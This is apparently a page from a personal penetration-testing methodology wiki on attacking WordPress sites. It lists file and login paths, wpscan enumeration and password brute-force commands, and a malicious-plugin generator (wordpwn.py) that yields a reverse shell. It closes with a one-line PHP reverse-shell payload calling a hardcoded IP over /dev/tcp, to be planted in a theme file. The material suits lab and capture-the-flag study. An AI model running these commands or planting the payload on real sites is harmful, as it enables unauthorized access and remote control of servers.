Methodology
  • 😃Welcome
    • Bullet Proof Strategy
    • 👁️Enumeration
      • 👁️‍🗨️👁🗨 Enumeration Cheatsheet
      • SNMP Enumeration
      • IRC Enumeration
      • LDAP Enumeration
      • RPC Enumeration
      • DNS Enumeration
      • Rsync Enumeration
      • IDENT Enumeration
      • SMB Enumeration
        • Copy of SMBPass Change
      • Web Enumeration
        • Methodology
        • Enumerating Patterns Trick
      • Kerberos Enumeration
    • 👺Exploitation
      • Passwords Attacks
        • Decrypting VNC passwords
        • Decrypting Jenkins passwords
        • MongoDB Decryption
      • Web Applications
        • My little cheatsheet
        • Login Portal Strat
        • SQL injection
        • Local File Inclusion
        • WebDav
        • Wordpress
        • phpmyadmin
        • Bypassing Proxies
        • Node.Js Command Injection
        • Weak Cookies and Parameters
        • PHP Web Shells
        • Code Injection
        • Werkzeug
        • Collection of Vulnerable Apps
          • RaspAP 2.5 Authenticated RCE
          • ZenPhoto 1.4.1.4 RCE
          • Sonatype Nexus 3.21.1
          • Argus Surveillance DVR 4.0
          • SmarterMail + .Net Remote
          • H2 Web Console
          • Exhibitor for Zookeper (Exhibitor Web)
          • Subrion 4.2.1
          • RestStack API 3100
          • Kibana 5.6.15 < 6.6.1
          • Authenticated NodeBB Plugin Emoji 3.2.1
        • Discovering Hidden Parameters
        • 🕴️Jenkins
      • Vulnerable Services
        • Authenticated MSSQL Shell
        • Authenticated PostgresSQL
        • Authenticated MongoDB
        • ClamAV - Milter 0.91.2
        • Unreal Tournament 99
        • MS17-10 Eternal Blue
        • REDIS Exploitation
        • OpenSMTPD < 6.6.2
        • James Adminitrator Remoting 2.3.2
      • Client Side Attacks
        • .ODT File Macros
      • Evil-WinRM
      • Methodology
      • Reversing
        • .net binaries
      • Enumerating Firewall
    • 👽Privilege Escalation
      • Windows
        • Enumeration
        • Enumerate Permissions on Folders and Binaries
          • Insecure File Permissions
          • Modifiable Binary Path
          • Unquoted Service Path
        • Meterpreter Session Injection /Migration
        • ⏲️Scheduled Apps (CronJobs)
        • 🥔Impersonation Attacks
        • 🗒️DLL Hijacking
        • Passwords
          • Runas
            • Runas but Powershell
          • Autologon Credentials
        • AlwaysInstallElevated
        • Windows XP SP0/SP1
        • W10 Version 1803
        • Windows Vista x86 SP1
        • 👻SMB Ghost
        • Local Service / Network Service Users
        • Dangerous Privileges
          • SeLoadDriver Privilege
          • SeRestore Privilege
          • 🥔SeImpersonatePrivilege
          • SeBackUp Privilege
        • Bypassing AV
        • Port Forwarding to access Internal services
        • Start Up Apps
        • Other Users
        • Resources
        • M16-032
        • Upgrading Powershell to Meterpreter
      • Linux
        • Enumerating SUID binaries
          • Find SUID
          • CP SUID
          • dosbox SUID
          • start-stop-daemon SUID
          • gcore SUID
        • Fail2Ban Group
        • Upgrading TTY Shells
        • Git Repository
        • Escaping RBASH
        • Docker
        • Init, Init.d , systemd
        • Shared Objects .so Hijacking
        • Sudo Version - CVE 2021-4034
        • Tar Wilcard Injection
        • Tips to become root
        • Python based applications escalation
        • Internal Services
          • mySQL
            • MySQL User Defined Function
        • Writable Passwd
        • Exiftool Priv Esc
        • Glusterd + Docker Container Breakout
        • choom
        • Slack
      • File Transfer Methods
        • Windows
        • Linux
      • Pivoting
    • 💀Elevated Post Exploitation
    • 🟦Active Directory
      • Attack Vectors
        • LLMNR Poisoning
        • ASREPRoast
        • Spraying
          • SMBPass Change
        • Building Userbase
        • NTLM Relay Attack
        • IPv6 Takeover
      • Post Exploitation - Enumeration
        • Bloodhound
        • Enumeration - Powerview
      • Exploitation
        • Kerberoasting
        • GMSA Password Read
        • Account Operators
        • WriteDACL over DCSync
        • GenericWrite GPO
        • PS-Remoting
        • LAPS Password Read
        • Abusing ACLs
          • GenericWrite/GenericAll/AllExtendedRights over Users
        • Groups.xml
        • Azure AD Sync Dump
        • AD Recycle Bin Group
        • Get-ChangesAll
        • WriteOwner Over Domain Admins
        • Allowed to Delegate To:
        • Force Change Password
      • Resources
    • 😎Walkthroughs
      • 🪨Proving Grounds
      • 📗Hack The Box
        • Windows
        • Linux
    • Cert Pictures :)
    • 🐍Python Lessons
      • Jenkins Script Groovy Console Exploit in Python
      • Kerbrute Automation
    • 🐚Bash Lessons
    • C# Programming
      • Process Injection Code
Powered by GitBook
On this page
  • Main WordPress Files
  • Scanning Wordpress:
  • Enumerating Themes and Plugins
  • Brute Forcing Wordpress:
  • Remote Code Execution through Plugins (Authenticated)
  • Malicious PHP injection
  1. Welcome
  2. Exploitation
  3. Web Applications

Wordpress

Main WordPress Files

Wordpress runs on PHP and MySQL.

Uploaded files go to: /wp-content/uploads/

Theme files go to: /wp-content/themes/

Plugin files go to /wp-content/plugins/

Core files go to: /wp-includes/

Default login paths:

  • /wp-login.php

  • /wp-login

  • /wp-admin/

  • /wp-admin.php

  • /login/

You can find the root password of the database in /wp-config.php/

There is multiple ways to get a shell using WordPress, without valid credentials we can see if we can exploit any plugins. The reason being, Plugins are community made, therefore they can be more insecure and not as frequently updated as the actual Wordpress software.

Scanning Wordpress:

wpscan --url http://192.168.105.55 --enumerate u -e cb -e at 

By doing a searchsploit search of the plugins we can find vulnerable plugins that we can turn into Remote Code Execution.

Enumerating Themes and Plugins

Enumerate Plugins

To scan for plugins, run the following:

wpscan --url <URL> -e ap

Argument Key:

  • "-e" is for enumeration

  • "ap" is "all plugins

  • "vp" is vulnerable plugins

  • "p" is popular plugins

Tip: I recommend always using --plugins-detection mixed.

Enumeration of Themes

You can specify WPScan to check for themes only by using the following:

wpscan --url <URL> -e at

Operator Key:

  • "-e" flag is for enumeration

  • "t" is "popular themes"

  • "at" is "all themes"

  • "vt" is "vulnerable themes" only

Brute Forcing Wordpress:

wpscan –url http://example.com –passwords rockyou.txt –usernames admin

Remote Code Execution through Plugins (Authenticated)

In the admin panel of wordpress one will be able to see that we can install a new plugin.

This python script will automatically generate a zip file in which we can install as a plugin and then navigating to it will result in a reverse shell.

python wordpwn.py <reverseip> 443 Y

Install the plugin.

Navigate to it.

We execute it and we get a reverse shell.

Malicious PHP injection

Simply navigate to a theme and edit the PHP file to execute a reverse shell as such:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.242/80 0>&1'");              ?>
PreviousWebDavNextphpmyadmin

Last updated 2 years ago

😃
👺
GitHub - wetw0rk/malicious-wordpress-plugin: Simply generates a wordpress plugin that will grant you a reverse shell once uploaded. I recommend installing Kali Linux, as msfvenom is used to generate the payload.GitHub
Logo